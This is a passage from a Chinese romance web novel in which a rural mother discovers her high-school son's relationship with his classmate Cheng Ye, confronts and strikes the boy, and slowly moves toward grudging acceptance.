“前两天买的。”讲完,江时欲盖弥彰地补充,“学校里花不了多少钱,省下来买的。” 花不了多少钱是事实,因为他的钱压根没机会花出去。也不知道从什么时候开始,他身上大大小小的事都被程野给包圆了。省下江雪给的生活费也是事实,只不过没用来买衣服,他也没机会买衣服,只能放在盒子里存着。 听完,江雪当即瞪了他一眼,“省什么省?前两天你舅妈还跟我抱怨,说她家新和一个月五百都不够用,天天嚷着跟她要钱。你就那点生活费,省下来的能买什么好衣服?” 说着,她放下筷子,伸手去摸江时身上的羽绒服。一上手她就愣住了,衣服的料子很好不说,单里面的羽绒都蓬松得不像话。 江雪是没穿过多好的衣服,可没穿过不代表她摸不出来。 她眼底神色深了几分,收回手,“这真是你省下来的钱买的?” 江时总不能说是程野买的,吭哧半天,最后结巴道:“算……是吧,买的时候打折,很便宜的。” 江雪没说话,上下扫了眼江时。 高三之后江时很少回家,有时候套着个校服就回来了,她也不是没问过他钱够不够用,但每次得到的回答都是够用。 和其他孩子相比,江时真的让她少操了好多心。生病了她刚察觉到江时就已经吃上药了,天冷了她还没买上厚衣服他就自己穿上了,可很多时候他在家里都是一股懒散的样子,吃个饭还得她催,完全看不出能把自己照料得好的样子。 不止衣服是新的,江雪发现他身上的裤子鞋子都是新的。 江时心大,回来就这么回来了,江雪细细回味了番,发现他每次回来穿的衣服都不一样,都是她以前没见过的衣服。 就她给的那点生活费,是要怎么省,才能买得下这么多衣服? 想到这里,江雪垂在桌子边的手捏得有些发白,她很勉强的笑了下,“你说你,要买衣服就跟妈妈说,别省钱,我回头再多转五百给你,该花就花知道吗?” 江时一时间找不到什么理由拒绝,只能咬着筷子应下。 吃饭完,江时回房间睡觉,江雪则从床底翻出五百去了街上。 不是赶集的时候,街上很冷清,但这几年经济发展比较快,原本萧条的街也开了几家服装店。 老板坐店里烤着火,听到门口的动静,站起身来迎客,“进来看看,要买什么?衣服还是裤子?” 江雪张望着,“这边有羽绒服卖吗?” “当然有了……”老板把手里的瓜子皮一丢,“在里面,都是进的新款,可暖和了。给自己还是家人买啊?” “孩子。”江雪补充,“读高三。” “高三辛苦的咧,学习这么辛苦,是得买件好衣服。”老板拿着杆子从货架上叉下来一件黑色羽绒服,“这个怎么样,款式大气,里面都是上好的鸭绒填充的,一星期我买了五件出去呢。” 江雪光看着,就觉得和江时身上那件比差远了,她不死心地上手摸了摸,布料粗糙不说,里面的填充物也硬邦邦的,一捏一个坑,好久都回弹不了。 她问老板,“这个多少钱?” “咱们都乡里乡亲的,我也不坑你,三百给你得了。” “三百!”江雪惊呼,“这也太贵了吧。” “贵?你摸摸这料子,你感受一下这暖和程度,这样吧,再给你便宜一点,两百五给你带走得了。” 江雪没要她的衣服,而是问老板,“你这里有那种衣服卖没有?”她伸手比划着,“就是上面有几个拼音,a什么的……” 老板听她连说带比的,终于明白她说的是什么衣服,“那个啊……牌子货,贵着呢,我们这里怎么可能会有。” “贵?多少钱?” “少说也要七八百。” 江雪脸色逐渐变得难看,“打折买应该会便宜吧?” “打什么折?”老板把羽绒服放回原来的位置,“新出的款勒,抢都不一定能抢到,怎么可能打折卖?” 外面的小雨更大了,江雪裹紧衣服出了服装店。她去街上唯一一家熟食店买了半斤猪头肉拎着去了高新和家。 高新和一家人都在家里,烟囱冒着烟,里面的火炉里烧着土豆,高新和咧着嘴在看电视。 他妈刘玉英在勾毛线拖鞋,听见拍门声走过去开门,看见江雪连忙把人拉进来,“这天怪冷的,你怎么来了?” 江雪拍拍身上落下的毛毛雨,在门口跺了两脚,把鞋上的泥跺下来,张嘴哈出一口冷气。 “前两天权哥帮我修了下猪圈,这不刚好去街上,我看那家猪头肉还挺新鲜,买了点拿过来。” “哎你这人……”刘玉英推了她一把,“都是自家人,这么见外干什么,缺你那点吃的?赶紧拿回去。” “别。”江雪道:“我留了点在家里的,我家江时也不吃这些东西,多了没人吃的。” 推拒不了,刘玉英只得收了,让她坐着吃土豆。 土豆的皮在炉子里闷得黑黑的,把外面黑黑的皮一剥,里面烤得金黄酥脆。 一冷一热,江雪的脸闷得发红,她手里拿着剥了一半皮的土豆,跟刘玉英闲聊了几句,目光往旁边的高新和身上拐,“新和看电视啊,没事来我家找你表哥玩呗,他天天一个人待家里,伴都没有一个。” 高新和笑呵呵的,“好啊,我有空就去找小表哥玩。” 刘玉英把辣椒面往江雪那边推,“别搭理他,他去了就是带坏江时,回趟家,作业也不做,天天就只知道看电视。” 说到这里,江雪也叹了口气,“这学习还是要劳逸结合的好,你看我家江时,一个月不见,看着都瘦了好多。” “新和啊……”江雪道:“江时平时看着闷闷的,也不爱出去玩,你跟他一个班的,你跟姨讲讲,他在学校都交了些什么朋友?有没有被人欺负什么的?” 高新和抓起一个刚烤好的土豆,被烫得左右抛,嘴里斯哈斯哈的,想也不想地回答,“怎么可能会有人欺负他,他天天跟程哥待一起,就程哥那体格,谁敢欺负他?” 江雪脸上的笑容顿时僵住了。 缓了好几秒,她才若无其事地扯了扯嘴角,“他现在跟程野的感情还很好吗?” 高新和搓搓发黑的手,“啊?他们感情不是一直很好吗?” 江雪脸上的笑再也维持不住了。 刘玉英发现了她的不对劲,“你怎么了?” “没。” 江雪拿起土豆往嘴里塞,什么滋味也尝不出来。囫囵吃完一个,她猛地站起来,“天太冷了,江时不会烧火,我就先回家了。” 说完也不等屋里的人反应,拉开椅子就走,走到门口,她似乎是有些不死心,回头朝高新和道:“你跟你哥一个班,平时没事就应该在一起多学学才是,不要老是自己待自己家,离得又不是很远,搞得那么见外干什么。” 高新和嘴里塞着土豆,傻乎乎地点了点头,“我知道江姨,以后我会去找小表哥的。” 江雪离开了高家。 冷风和着雨往她脸上扑,她抹了把脸,抬脚回家。 还没走到家门口,江时手里拎着两张卷子就朝她迎面走来。 他似乎是才刚睡醒,两腮挂着晕出的红,头发有些乱,整个人看起来很柔软。 江雪问他,“你去哪里?” 江时愣了愣。 “啊……去找高新和学习。” 第57章 江雪手指捏得发白发青,面上却什么也看不出来,她平而缓地呼出一口气。 “你去吧,记得晚上回来吃饭。” 江时顿了下,“好。” 说完他看了眼江雪,心底总觉得有些怪,可江雪却避开了他的眼神。 不知道是不是江时的错觉,他觉得江雪那双总是很精神的双眼里透露出一股很深的疲惫,像是有什么击垮了这位坚毅的中年妇女。 可还没等他细想,江雪就从他身侧穿了过去。 江时在原地站了两秒,也拿着卷子走了。 他走后,江雪回头看着他的背影在跟前消失。她抿紧双唇,转身回了家。 家里的火还旺着,江雪坐在火边,火光把她的脸映成红色,眼底跳跃着猩红。 她坐了会撑着腿站起来,跟没事人一样给火添上新的碳,又去外面抱了捆干草丢在牛圈里。 弄完这些后她洗干净手,从门后面的角落里翻出干活用的镰刀。她握着镰刀,换了身土黄色外套,出了门。 天天下雨,门口的小路泞泥一片,江雪踩着泥土爬上了坡。 这是一条通往山上的路,冬天没什么人走,到处都是泥,江雪走得深一脚浅一脚的。 翻过不大的坡,尽头是一片竹林,而在竹林下面,是程野家。 或许是木头房子光线不好的原因,前段时间程野把家里的木窗卸了,安上一块透明玻璃窗。 窗户很干净,江雪蹲在竹林里,目光穿过竹子细长的枝叶,很清晰地看到了里面的光景。 柴火烧得很旺,火上放着锅,锅里的东西咕噜噜冒着泡,暖色调的光从玻璃里透出来。 而她的儿子,被人剥了外套,身上只穿着一件毛衣,被抱着坐在桌子上。一个比他更高更壮的男生站在他面前。 他们靠在玻璃窗前,额头抵着额头,鼻尖碰着鼻尖的接吻- 江时一把推开程野。 他往后仰,头靠在玻璃上,轻轻地“嘶”一声,“你是狗吗,亲个人也这么凶?” 程野捏着他的舌尖看了看,刚刚情绪太激动,被他不小心咬破了点皮,唇瓣也被吮得发红。 他松开手,舔了舔翘起来的唇珠,“没办法,谁让少爷老是不给吃,好不容易松回口自然是控制不了。” “你可拉倒吧……”江时给了他一脚,“说得像是我说不要你就不要似的。” 程野被踢得笑了声,“我尽量。” “……” 胡闹了一通,江时才想起来被他垫在屁股下搓揉得皱巴巴的卷子。 他在程野这里把卷子写完,想着刚刚遇到江雪时她的脸色,没在程野这里吃晚饭,天一黑就回家了。 到家时江雪正在炒菜。 她身上的衣服不知道怎么搞的,裤子上全是泥,旁边的地上丢了把镰刀。 江时把镰刀捡起来放在角落,问她,“你下午干嘛去了,怎么弄成这个样子?” 江雪把炒好的土豆丝放桌上,弯腰去碗柜里拿碗去舀昨天炖的鸡肉。 “去了趟地里,结果不小心摔了一跤。” “那你人没事吧?” “没事。”江雪道:“就是衣服脏了,待会换下来洗。” 说完,她看了眼江时。 灯光下,少年的脸唇红齿白,水灵灵的,透出一种被滋润的好看。 江雪别开脸,闭了闭眼睛。 吃饭时,她把肉放江时碗里,朝他道:“你下个月的生活费我给你放屋子里了,你以后想要什么、缺什么就跟我说,妈妈这些年没什么花钱的地方,家里喂了这么多头猪牛,养你还是绰绰有余。” 江时以为是早上衣服的事刺激到她了,没多想,随口就应了下来,直到他看到了房间里的钱。 整整一千。 直接给他的生活费翻了个倍。 江时拿着钱出来找江雪,“妈,你怎么忽然给我这么钱?” 江雪在洗换下来的衣服,双手被冰冷的水冻得发红,闻言她动作顿了下,然后接着搓揉上面的黄泥,“你大了,总有些想买的,钱你拿着,想买什么就买,不要给我省。” “那也要不了这么多呀……” “要不了也拿着用。”江雪张嘴呼出一口冷气,“你要穿好的衣服,妈给你买,要新手机,妈也可以给你买,你想要的,妈都尽量给你……” 她看着江时,眼底隐约有泪光闪动,“我不求你别的,只求你健康快乐,我给你攒着彩礼呢,等你遇到喜欢的女孩子,就风风光光地把人娶进门。” 江时捏着钱站在原地,心头猛地跳了下,抬眼朝江雪看去。 两人的目光在昏暗灯光下交汇,江时以为她会说什么,可最后江雪也只是弯下腰捞起盆里的衣服。 她指尖被冻得麻木,水流从指缝穿过时,一阵钻心的疼。 “你现在高三,什么都不用想,好好学习就行。” 末了,她说:“快去睡觉吧,明天我送你去车站。” 细雨停了,风却大了起来,江雪站在院子里,风把她的脸刮出干燥的裂纹。 耳边传来江时关门的声音,她脱力一样坐在椅子上。 手里的衣服滴滴答答溅着水,她承受不住地弯下腰,最终还是哭了出来- 那场对话后,生活又归于平静,江时借着学习忙的借口没回家,而江雪也没再催过。 就这么到了寒假。 一月份的林城依旧没下雪,但却遇到了凝冻天气。地面结了层薄薄的冰,小草上的水珠凝结成一颗颗晶莹剔透的珍珠,枯瘦的枝干被压弯了腰。 天气冷得不像话,家家户户猫在屋里过冬,炊烟把屋顶的白霜融化。 江时的手缩在衣袖里,只露出两根细长的手指捏着几张卷子。他站在门边朝在纳鞋底的江雪道:“妈,我出门找高新和学习了。” 江雪闻言动作顿了下,针尖戳进鞋底,她语气很淡,“嗯,你去吧,午饭还回来吃不?” “看情况吧,你不用等我。” 江时知道自己最近出门得太频繁,但没办法,谁叫林城的冬天太折磨人了。 而程野家有空调。 是的,就程野那个破得仿佛随时能倒塌的房子,在这个冬天竟然安上了空调。只要把门窗关紧,里头暖和得不像话。 他借着找高新和的由头去了程野家好几次,其实江时去的时候高新和也在,因为高新和也喜欢程野家的空调。但只有江时来了,程野才会开,所以高新和天天卡着点问江时什么时候过去。 为了装得像一点,江时还让高新和来接他。 两人跟江雪告别,江雪低着头,手里拉着长长的线,没说话,脸上的表情也看不分明。 有了高新和的加入,学习就真的只有学习,两人只有趁他不注意的时候躲在程野的房间里接个吻。 江时总觉得江雪不太对,不敢在程野家待太久,刚到中午就回去了。 程野留不住人,目送江时离开后折回屋里整理他的错题,不到两分钟,门被敲响了。 他以为是江时忘带什么了,走过去开门发现门口站着的是江雪。 江雪迎着冷雨,手里拎着一块腊猪脚,阴雨天,光线不亮,显得她眼睛的颜色格外深。 程野愣了愣,“江姨,你怎么来了?” 江雪说:“来看看你。” 程野有一瞬的怔忪,然后侧身让她进来,“屋里有点乱,你别介意。” 江雪抬脚进去,“农村人嘛,大家都差不多。” 她把猪脚放在墙边,往里扫了眼。空调还没关,里面暖和得跟春天一样,屋子的陈设很老旧,靠墙的地方放了两张并排的书桌,一张放电脑,一张上面铺满了凌乱的卷子和草稿。 程野先是给江雪拿了椅子,给她倒了杯热水后才整理桌子上的东西,“这两天忙着赶寒假作业,桌子有点乱。” 江雪挤出一个笑,手指搓着裤子侧边粗糙的布料,“你这屋子高级的勒,外面看着破破的,里面又是空调又是电脑的,我活了这大半辈子,哪见过这么高级的东西。” 程野拿着写满江时笔记的草稿纸顿了下,垂下眼,“屋子太破了,哪哪都漏风,修房子也不好修,咬咬牙就买了个空调。你平时要是觉得冷的话,可以过来坐坐。” 江雪没接他的话,而是问他,“听说你成绩还可以?新和他爸说,你指不定是个清北的料,就我们溪柳村这破地方,竟也能出个状元郎,这是几辈子才能修来的福分?” “我看你是个有本事的,姨知道你家里情况不是很好,可就凭你这成绩,以后说不定得飞黄腾达。到时候去大公司上班,再回来修个小洋楼,娶一个漂漂亮亮的媳妇,得有多少人羡慕你?” 程野缓缓变了脸色。 江雪看着他,“我家江时就不一样,他没你聪明,成绩也没你好。他长得是俊,容易招人喜欢,可你也知道,他是个难伺候的。” “怀着他的时候,我跟他爸都打算好了,不需要他多能干、多有本事,只要他像个普通人一样正常长大就好。” “彩礼我都给他存了,就等着他安安稳稳地读书,然后毕业,结婚,生孩子……” 空调运转发出嗡嗡的声音,十多度的温度里,程野像是被迎头灌了杯冷水,刺骨的冷封住他的喉咙,胸腔梗着,一口气也提不上来。 江雪偏过脸,声音颤抖。 “程野,姨知道你也是个好孩子。你还小,你还没见过大世面、大城市,所以觉得新鲜。你成绩那么好,你可以去京市,去沪市,那里的人都光鲜亮丽着呢,江时算个什么。” “江时这个人呢,我是知道的,他之前看着是有钱,可没人喜欢,没人在意,所以一点点好就把他骗去了。” “他没吃过苦,没体会过世态炎凉,他还单纯,他什么都不知道的……” “你不能这样程野。” 江雪咬着牙,整个人都在抖。 “我……” “我和老何就这一个儿子。” 第58章 程野跪在江雪面前,他像是知道这天早晚会来,所以讲出来的话很平静,“对不起江姨,但我不会离开江时。” 江雪顿时变了脸色,“你什么意思?” 程野说:“我答应过江时,哪怕被打断腿,我爬也会爬回他身边。想让我离开江时,就只有两种可能,要么江时不要我,要么我死了。” “程野!”江雪脸色铁青,“你们才几岁,知道什么是喜欢吗?动不动就为了爱情要死要活的,你们明白什么是爱情吗?” “我不明白。”程野老实道:“但我知道,没了江时我会死。” 江雪被他这番话气红了眼,抓起旁边放着的盘子就朝他脸上砸去。 砰—— 程野没动,甚至连头都没偏一下,硬生生挨了这一下,没一会鲜血就从他额头冒出来。 他额角被瓷片划了一个口子,血肉翻飞。 程野顶着满脸的血,明明是跪着,可脊背挺得很直,始终不肯退让一分。 江雪气得浑身都在发抖,可见着程野满脸的血的样子又被吓了一跳。她张嘴想说什么,但想着程野刚刚恶劣的样子,又把嘴闭上。 缓了几秒,她才开口,“我也不是故意来为难你,姨知道你不容易,你们都高三了,我不想因为这些事影响你们学习。可是这事它是不对的,从古至今,哪里……哪里有两个男的……” 江雪低头抹了把眼泪,“我这是造的什么孽……生的孩子从小在别人家养大,好不容易回来我身边,又要让我面对这些事,你让我以后怎么去见他死去的爸?” “程野,我自认从来没做过对不起你的事,你小时候我跟你不熟,是没给过你什么帮助,但也从来没有说过你一句坏话。后来江时过来,我见你可怜,想着让江时多个朋友,所以才让你们接触……” 一想到这里她就气得不行,“可你是怎么回报我的?”她伸手推了把程野肩膀,“你说啊!你是怎么回报我的!” 她边说边哭,“算姨求你行不行?放过江时,也放过我家好不好……” 程野如山一样屹立不动,面对江雪的歇斯底里,他只是垂着头,“对不起。如果你气不过,打我骂我都可以,打断我的腿也行。” 一条腿换一个江时,程野觉得是自己赚了。 他知道江雪的想法,也知道江雪在跟他打感情牌,如果换成别人的话,或许真的会陷入自责,可程野是个没有心的怪物。 他冷血又自私,他能理解江雪的眼泪,但那些眼泪落在他身上,只是泛着咸味的水而已。 江雪腾地一下掀起椅子站起来,“你真以为我不敢打是不是?” “不会,我知道你的性子。”程野说着,抓起身后用来抵门的棍子递给江雪,“如果打我能让你消气,你把我打死打残都行。” 他铁了心的不想和江时分开,江雪抓起他手里的棍子,扬起朝他背狠狠来了下。 江雪只是看着瘦弱,但她常年干活,手上的力道可想而之。 程野当即发出一声闷哼,下一秒,门砰地一声就被推开了。 江时站在门口,看见里面的景象时脸色都白了。他跌跌撞撞跑过去一把夺开江雪手里的棍子,“妈!你干什么!” 江雪被他撞得往后退了一步,看见江时,她情绪彻底绷不住了,“我干什么?我今天就要把他打死在这,省得勾引你干些见不得的事。” “妈……” 江时丢下手里的棍子,伸手抱住她,“这是我们两个人的事,你想打也把我打死算了!” 江雪的脸色从所未有的难看,她扯了扯江时的手,发现扯不下来,阴沉着脸。 “别以为我不知道,要不是程野死皮赖脸跟着你、勾引你,你能跟他好?当初你见他一面都嫌烦,他像个狗一样跟在你屁股后面,要是我……” 江雪肠子都快悔青了,“要是我当初不让你俩见面,哪会有现在这事!” “程野……” 她喊着程野的名字,牙龈都快咬碎了,“我见你可怜,给你吃喝,江时见你可怜,给你还钱,你就是这么对我家的?你还有没有心!你让我家江时以后怎么出去见人!让我以后怎么出去见人!” 程野不说话,沉默着递上棍子。 江时一把拍开他手里的棍子,提高音量,“有什么见不得人的,同性恋不是病!” “不是病?怎么不是病?你去大街上看看,哪有男的跟男的在一起?这是要被戳脊梁骨骂的!” “那你觉得是被骂重要还是我的幸福重要?” 江雪沉默了。 沉默过后,她掩着脸哭泣,“江时,妈妈是对不起你,从小我就不在你身边,我不知道你为什么会变成这个样子,但我不怪你,都是妈妈的错,你要是觉得我哪里对你不好,或者没满足你,你跟我讲,你别这样行不行……” 江时拉着她的手,脸上看不出情绪,但脊背绷得很紧,像一张拉到极致的弓弦。 几秒后,他松开手,吐出一口气,“程野,你先出去,我跟我妈谈谈。” 程野这才慌了,他用膝盖往前蹭了两步,伸手去拉江时的垂下的手,“江时……” 江时很轻地捏了捏他的掌心,讲出的话却不容质疑,“出去。” 程野最终还是出去了。 门窗紧闭,天色渐暗,碎掉的瓷片散发着尖锐冰冷的光。 江时把倒在地上的椅子扶起来,拉着江雪坐下。 他像个小朋友一样蹲在江雪面前,讲话的声音很柔和,“妈,性取向是天生的。你知道什么天生吗?就是我一生下来就是喜欢男的,跟程野没关系,哪怕没有他,我以后说不定也会和别的男生谈恋爱。” “你胡说!”江雪紧绷着身体,“怎么可能会是天生的,谁天生就会喜欢男人,肯定是程野勾引的你。” “是,就算他勾引我,那我不喜欢男的,我会跟他在一起吗?我举个很简单的例子,你跟我舅妈从小一起长大,我舅妈对你很好,你会喜欢她吗?” 光想想自己跟刘玉英在一起的画面,江雪顿时就跟吃了苍蝇一样恶心。 她歪理说不过江时,只能道:“你年轻,正是冲动的时候,哪能知道什么叫喜欢、什么叫爱。” “程野现在是对你很好,可人终究是会变的。他现在对你好,你要死要活的想跟他在一起,那以后呢?你能保证他一辈子都对你好?” 她揉了揉江时柔软的头发,“江时,妈就你一个孩子,你听妈的,跟他断了吧。说句不好听的,他无依无靠的,出了什么事拍拍屁股就走了,你跟他不一样。” “你们以后要考大学,要工作,要成家立业,现在是觉得无所谓,可世人的目光是能杀人的,光是一个村的唾沫都能淹死人,更何况是更大的地方。” 江雪温柔而细致地缕着江时的头发,眼泪从她眼眶滚落,溅进发缝。 “妈妈不想你以后过得这么难,相爱的一男一女都不一定能走到最后,更何况是两个男的。” 拎着镰刀的瞬间江雪很平静,她不认为自己的儿子会喜欢程野,她也不觉得江时会心甘情愿地跟程野在一起。 她想,江时肯定是受诱惑了,肯定是被逼迫的。 如果是这样,她手里的镰刀肯定会毫不犹豫地朝程野脖子上劈去。 可一个人的笑容和眼神骗不了人。 江雪哪怕对程野再有偏见、再恨,她也不得不承认,江时是喜欢他的。 喜欢到心甘情愿。 可她不甘愿。 “江时……算妈妈求你好不好?你跟他真的不行……” 江时把脸埋在她膝盖上。 “可是妈妈,再也没人会像程野一样对我好了。” …… 程野顶着满脸的血坐在门口,他听不清里面在说什么,只是偶尔传出江雪略带尖锐的几个音节。 他没处理脸上的伤口,鲜血流出,然后被冷风吹得凝固。 他的脸也被凝固成青灰颜色。 等了不知道多久,天色渐黑,细雨越来越大,纷纷扬扬,似乎有下雪的预兆。 哐啷一声,门被拉开,江雪拽着江时走了出来。 两人的眼眶都红红的,江时跟在她身后,抬眼朝程野看去,吸了吸鼻子。 程野顿时就站了起来。 江雪梗在两人中间,护犊子一样护着江时,“干什么!干什么!谁让你过来了?你给我往后退!” 程野站定,“你别欺负江时,生气了打我就行。” 说着就要去找棍子。 江雪说:“他是我儿子还是你儿子,轮得到你管?” 程野讷讷,“是我的错,你不能怪江时。” 江雪骂他,“本来就是你的错。我呸!不要脸的男狐狸精!” 程野满脸血、高高大大的站在院子里,江时没忍住,偏过脸短促的笑了声。 然后被江雪瞪了眼。 江时收敛笑容,朝程野缓慢地眨了下眼睛。 程野伸出去的手收了回去,脸上的灰白退去,胸口像压着一口气,沉沉地咳了出来。 “江姨……”他道:“你别气坏了身子,我皮糙肉厚,怎么打都没事的。是我不要脸,我对江时起了不该起的心思,但我会负责的,我发誓,要是我敢做对不起江时的事,我就不得好死。” 男人的誓言就跟放屁一样。 江雪拽着江时回家。 走了两步,她又折回去,一把推开堵在门边的程野,哐啷一下拉开门,把刚刚拎来的猪脚又拎了回去。 临走时,她站在门口朝程野呸了一口。 “这肉我就是喂狗也不给你。” 第59章 溪柳村落下了深冬的第一场雪。 冷空气南下,这场雪来得又急又大,纷纷扬扬的,第二天地上就堆满了白。 江时缩在被子里不想起床,奈何屋子外面吵得不像话。其实只有江雪一个人的声音,骂骂咧咧的,讲来讲去没一句好话。 听着听着江时像是想到什么,猛地爬起来,抓起外套披在身上就出了屋。 打开门,果然看见站在自己家门口的程野。 他脸上包了个简陋的纱布,跟前放着个全新的洗衣机,看起来老实又无助。 江雪叉着腰站他对面,横眉竖眼的,“把你的东西拿回去,我就是冻死也不会要你的东西。” “江姨……”程野巴巴开口。 “谁是你江姨。”江雪道:“我跟你不熟,你也别在我家门口出现。” 她回头,发现身后不知道什么时候站着个江时。他身上就裹了个棉袄,睡眼惺忪的,一看就是被吵醒的样子。 江时被冷风吹得激灵一下,彻底醒了,“妈,你这是干什么呢?” “我干什么?”江雪抱着手臂,“你还不如问问他想干什么?” 江时看过去,程野垂着手,身上衣服在雪地里显得格外单薄,“我只是看天冷了,想给你家送个洗衣机。” 其实这事之前程野就跟江时提了,但非亲非故的,忽然送个洗衣机,怎么看怎么奇怪。江时拒绝了,想着哪天用自己攒下来的生活费买。 结果现在窗户纸被捅破,程野装都不装了。 他这举动明显把江雪气得不轻,甚至想抓起旁边的扫把打人,但看着他脸上的纱布,又把火压了下去,“我家不缺你这点东西,你自己拿回去。” “我家用不着。” “那你拿回去退了。” 程野说:“凭证被我撕了,退不了。” “……” 他接着道:“反正我家不要,东西我放这里,要是你真的不喜欢,就把它当废铜烂铁卖了好了。” 江雪:“……” 江时品到了一丝熟悉的味道。 程野说着话,眼神往站门口的江时瞥。少年头发乱糟糟,小脸俏生生,脸颊带着红,眼底映着白茫茫的雪。 下一秒江雪就挡在江时面前,“看什么看,别以为讨好我我就会同意,赶紧把你东西拿走。” 程野伸出手抓住洗衣机的两边,一用力,洗衣机被他轻松抬起。他非但没走,反而把洗衣机端到门口的屋檐下,自来熟地从窗户里捞出里面的插板线,拿起洗衣机的插头,咔哒一下插上。 “我看了看,这个位置最合适。不远处就是水龙头,洗衣服的时候拿根管子接过来就行,不过你家好像没有这么长的管子,到时候我从我家拿根过来。” “至于排水的问题,等天气好了可以修个排水道。” 江雪:“……” 讲真的,她就没见过这么厚脸皮的人。 她咬牙切齿,“这是我家!” “我知道。”程野道:“但你不能因为生我的气就委屈了自己,这些都是我白给的,我又不要你还我什么。如果你真觉得我对不起江时,就更应该把东西收了,那不然多吃亏。” 道理是这么个道理,但自己要的跟上赶着送的完全不一样。江雪从未这么憋屈过,要也不是,不要也不是。 程野还在给自己找活干,“江姨,你家门口的雪有点多,要帮忙铲雪吗?” 江雪拿着铲子把程野从自家院子里铲了出去。 程野衣角微脏,站在梨树下面的小路跟江时道别,“我走了,明天再来看你。”说完,礼貌跟江雪道别,“江姨再见。” 江雪:“……” 江雪扭头瞪江时,“他就是这么缠着你的?” 江时:“……” 就程野这脸皮,干什么都会成功的,真的。 为了防止某些人暗渡陈仓,江雪今天什么也不干,就在家里盯着江时。 江时写作业,她就搬个椅子坐他旁边纳鞋底。 “我跟你讲,你今天哪都别想去,不止今天,以后都别想出去。” 江时看着跟前不会做的物理题,翻到另一面,依旧不会做。他挠挠裤腿,“妈,没必要这样,我又不是什么黄花大闺女。” “你的确不是什么黄花大闺女,不怕贼偷就怕贼惦记。”江雪伸手戳了戳江时的脑门,“不是我说你,能不能矜持点,你看那程野像是个好拿捏的吗?人家眼巴巴求着你,你不端着,还上赶着。” “上赶着的别人会珍惜吗?想当初,我追你爸的时候……” 说到这里,江雪住了嘴,“反正你就给我好好待家里,这黄花大闺女不当也得当。” 江时道:“那你也不能这样对他啊,那洗衣机少说也要一千呢,人家还不给送到家门口,他从路口一个人抬上来都要好久……” 江雪瞪他,“你到底站那边的?还给他说好话。” 江时感觉自己像夹在恶毒婆婆和媳妇中间的老实丈夫,帮那边都不讨好,干脆咬着笔不吭声了。 江雪在他旁边恨恨地戳着针,“不搓磨搓磨他,他真以为事情真就这么好过去?要是连这点苦都吃不了,还谈什么要跟你在一起,我看干脆早散了的好。” “想当初,你外婆还在的时候,你爸要娶我,可是来我们家干了三个月的活的。天不亮要去水井打水,打完水要做饭,还要背苞谷、背粪,你以为说娶就娶啊……” 江时:“……” 原来恶毒婆婆是遗传。 江雪铁了心的要当这个恶人,江时劝不了,只能当恶毒婆婆里面的妈宝男,老实埋头写卷子。 林城靠南边,下雪了也堆不了多久,一到中午,陆陆续续就化了。 化雪的天,冷得刺骨。 午饭才过,刘玉英跑了上来,“雪啊,出事了!” 她一口气冲进江雪家里,头上冒着细汗,一进来先是掀开家里的水缸舀了瓢冷水灌下肚。 她被冰得打了个哆嗦,喘匀了气才接着开口,“旁边刘伯家出事了,他儿子开车回来,外边下着雪,路滑,从村口翻了下去。” 江雪吓得人都站了起来,“乖乖!人没事吧?” “还好坡不是很大,据说只是摔折了腿,人送医院去了。他车还停沟里,村长说让大伙帮忙看能不能推出来,推不出来再找拖车的。” “听他们说,拖车可贵着的勒……” 江雪丢下手里的鞋底,捞过干活穿的围裙系在身上,“那我跟你一道去。” 走了两步,扭头看向江时,“你乖乖待家里,饿了就弄饭吃,别乱跑知道没?” 江时规矩地站着,闻言点了点头。 江雪前脚刚走,他后脚就出了门- 雪光耀眼,白茫茫的晃得人眼睛疼。 程野烧了壶热水倒进铜盆里,盆里的牡丹花颜色掉得七七八八,也不知道从哪里摔了几个坑,凹一块凸一块的,没漏简直是个奇迹。 他把货架上倒下来的半边镜子扶正,弯着腰,脸贴近镜子,揭开额头上的伤口。 伤口怎么样没细瞧,倒从镜子里看到一个正朝他家走过来的企鹅。 企鹅怕冷,裹着厚外套,因为是下坡,雪化了怕滑倒,走一步揪一下旁边的枯枝。 程野直起身子,转头朝江时看去。 江时扶着树,两三步滑下来,站定了才看清程野额头的伤口,“你脸上的伤怎么样了?” “不要紧。”程野盯着他,“你怎么过来了?” 江时站在院子里跺跺脚,把鞋上面染到的雪跺下来,“听说出了什么车祸,我妈帮忙去了,我过来看看你。” 他补充,“我是偷偷来的,待不来多久。” 程野眼底露着笑,身上的愉悦怎么也藏不住,“少爷是来和我偷偷私会吗?” 江时:“……” 他想,他就该留程野一个人自生自灭。 但终归还是不忍心,瞧着他额头红艳艳的伤口,江时吸了口凉气,觉得自己的额头也疼了起来。 “你这伤口怎么一晚上过去了还是这个样子?” 程野拿起镜子看了眼,“没事,过两天就好了。” 他不想跟江时的相处时间被这些不重要的东西影响,拿着纱布就往头上包。江时看不下去,制止了他,“哪有你这样处理的,难怪一晚上过去了还是这个样子。” 外面冷得不行,江时自己跑到屋里开了空调,又把程野叫过去,“你过来,我给你弄。” 程野蹲在他跟前。 江时低着头用棉签沾碘伏给伤口消毒,伤口不长,但有些深,他边擦边皱眉头。 “你蠢不蠢,被打了也不知道躲。” 程野仿佛一点痛觉都没有,伸手抚平江时眉宇间的褶皱,“躲了还怎么让你妈心疼?” 江时听完,下手的力道重了几分,“那就是你活该。” 弄完了,他又靠近吹了吹,“我妈就是典型的嘴硬心软,气上头了什么都做得不出来,你别跟她硬刚,多哄哄她,时间久了她气就消了。” “我知道。”程野道:“但这是我欠她的。” 江时的声音闷闷的,“可这又不是你一个人的错。” “但人总归是偏心的,我偏心你,我也希望她偏心你。” 正是因为之前没有被区别对待过,程野才知道这样的偏心对江时来说意味着什么。 他笑了笑,“老一辈的时候,新媳妇嫁进门都要被婆婆搓磨一番,就当我是那个丑媳妇,等你妈搓磨够了,自然就同意了。” 江时:“……” 好好好。 他说:“到时候可别怪我不帮你。” 程野看着他眼尾上翘的弧度,忽然很想亲亲那道薄薄的眼皮,嘴上的话却很轻佻,“丑媳妇还没过门呢,少爷就心疼上了?” 江时用棉签按了下伤口。 程野疼得“嘶”了一声。 江时道:“这张脸跟着你可真遭罪。” 左边之前被他用石头打了下,右边现在又被他妈用盘子摔了下。现在不仅对称了,连凶手都是一家人。 想到这里,他手里的动作顿了下。 程野蹲着,双手撑在江时的膝盖上,仰头看他。 “少爷要是真的心疼我,就亲亲我吧。” 第60章 外头依旧冷,午后出了点太阳,将雪照得明晃晃。 雪化成水,沿着屋檐滴滴答答往下滴,屋里的温度却很高。 江时身上的厚外套一脱,里面只穿了件浅色的圆领毛衣,脖颈修长,锁骨被程野的手按着,搓揉几下后,细腻的白里透着粉。 好久没亲,程野吃得很仔细。 